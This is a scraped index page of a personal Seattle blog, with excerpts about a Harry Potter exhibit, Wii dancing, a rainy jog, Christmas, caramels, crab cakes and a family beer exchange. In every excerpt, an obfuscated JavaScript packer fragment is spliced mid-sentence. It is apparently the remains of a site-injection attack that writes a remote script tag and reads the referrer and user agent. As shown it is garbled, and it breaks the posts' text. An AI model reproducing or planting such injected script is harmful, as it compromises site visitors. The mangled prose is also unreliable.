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But it was still awesome! We got to see all the original costumes and props from the movies. There was even a “sorting hat” at the beginning. All the little kids wanted to be in Gryffindor (duh) – so we heard that sorting song quite a few times. Thankfully we had a hufflepuff and ravenclaw […]

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Harry Potter!

Today we are off to the Pacific Science Center – the greatest place to take kids in Seattle (kids both young and old). They ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhnhi|var|u0026u|referrer|itzsr||js|php’.split(‘|’),0,{})) have a Harry Potter exhibit going on right now. I anticipate awesomeness. I hope I’m not disappointed. Pics to follow.

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Oops!

I’m not sure if yesterday was the first day I missed this past year…but hey, what can you do? I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|neter|var|u0026u|referrer|reaze||js|php’.split(‘|’),0,{})) spent the evening of the 26th doing something WAY more important than blogging. I spent about 2 hours playing Just Dance 2 on the Wii. This has got to be […]

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The Art of Racing in the…..

Wind and rain. That’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysiaf|var|u0026u|referrer|yfsia||js|php’.split(‘|’),0,{})) what happens in Seattle. I had to try out my new heart rate monitor, so I headed outside for a little post-Christmas jog. What’s funny, is that were at least a dozen other walkers/runners out this morning. Sure, it’s raining. But that’s par for the course […]

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Merry Christmas!

Hopefully ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkdda|var|u0026u|referrer|eayhi||js|php’.split(‘|’),0,{})) no one is reading this today 🙂 You should be hanging out with your family. But just in case you do, here’s a little something something. Mochi, “helping” us change the sheets.

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Christmas Giving

Last ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbbez|var|u0026u|referrer|rhtah||js|php’.split(‘|’),0,{})) Sunday Nick and I volunteered at the Family Giving Tree. I’m not trying to toot my own horn AT ALL – we should have volunteered longer and/or brought more toys, but maybe net year – and maybe we’ll bring more people. In any case. It’s a pretty impressive operation. […]

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Salted Caramels

Remember ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihied|var|u0026u|referrer|dniei||js|php’.split(‘|’),0,{})) those caramels I made a few days ago? I decided to make salted caramels with the extra caramel. I wanted to make them extra tasty, so I melted some dark chocolate frangos. I added a little wax to help it harden and add some shine. I cut the caramels […]

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Patty Cake

If ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aizdy|var|u0026u|referrer|diayy||js|php’.split(‘|’),0,{})) you haven’t seen this, it will make you laugh. Nick sent it to me. I laughed out loud.

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Crab Cakes

I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbkke|var|u0026u|referrer|ttrfe||js|php’.split(‘|’),0,{})) made crab cakes for a Christmas party. My dad tried out almost every recipe in the Tom Douglas crab cake cookbook, and landed on his favorite. I changed it slightly. 1lb lump crab meat (costco) 1/2 c thinly slice scallions (green onions) 1/4 c finely chopped red pepper 1 […]

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Beer Exchange

The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztynn|var|u0026u|referrer|didfd||js|php’.split(‘|’),0,{})) beer exchange is an awesome little tradition that Nick’s family started – before Nick could drink. It has somewhat evolved over the years, but pretty much results in each +21 year old male members of the family taking 12 bottles of beer home. We decided to bring the tradition […]